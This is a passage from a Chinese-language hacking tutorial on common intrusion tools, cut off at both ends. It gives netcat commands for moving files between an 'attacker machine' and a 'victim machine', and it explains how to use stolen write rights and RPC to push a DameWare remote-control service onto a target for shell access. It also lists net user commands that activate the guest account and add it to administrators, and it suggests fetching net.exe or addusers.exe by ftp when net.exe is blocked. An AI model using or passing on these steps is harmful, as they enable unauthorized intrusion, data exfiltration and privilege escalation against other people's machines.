nc attacker ip port2
5.传送文件：
attacker machine <-- victim machine
nc -d -l -p port < path file /*attacker machine*/
nc -vv attacker ip -p port > path file /*victim machine*/
attacker machine --> victim machine
nc －vv -l -p > patm file/*victim machine*/
nc -d victim ip -p port < path file /*attacker machine*/
6.telnet工具
有些后门需要在每个命令后加";"，让人很老火。用nc去连，就可以避免。
如果你已经夺取了一定的权限，比如，可写的！
那么运用下面两个软件，可以轻易的帮你入侵：
DNTUCli.exe
DNTUS26.exe
在命令提示下运行：
D:\>DNTUCli.exe
Usage: DNTUCli.exe <\\server>
DNTUCli.exe \\MachineName (remote server is \\MachineName)
DNTUCli.exe \\. (local server)
Copyright (C) 1991-2001 DameWare Development
www.dameware.com
当你输入ip的时候会让你输入用户和密码！
只要对方开了rpc而且你的用户有可写的权限的话！！
就会复制同一目录下的DNTUS26.exe，这种程序是自己安装而且自己打开服务的！
然后你就可以直接连接到对方的c了！
这种软件有CMD重定向功能···
然后你就随便想做你的任何事情了！
C:\>net user
\\FYNET33 的用户帐户
----------------------------------
Administrator Guest
命令成功完成。
C:\>net user guest /active:yes
命令成功完成。
C:\>net user guest wry
命令成功完成。
C:\>net user localgroup administratorsguest/add
命令成功完成。
这个时候你的guest已经是管理员了！！如果你禁止了net.exe或者被
删除了你可以用
ftp命令下一个net.exe或者另外一个软件adduser.exe
用法：
D:\>addusers.exe
ADDUSERS {/c
关键词：常用黑客工具的运用办法集锦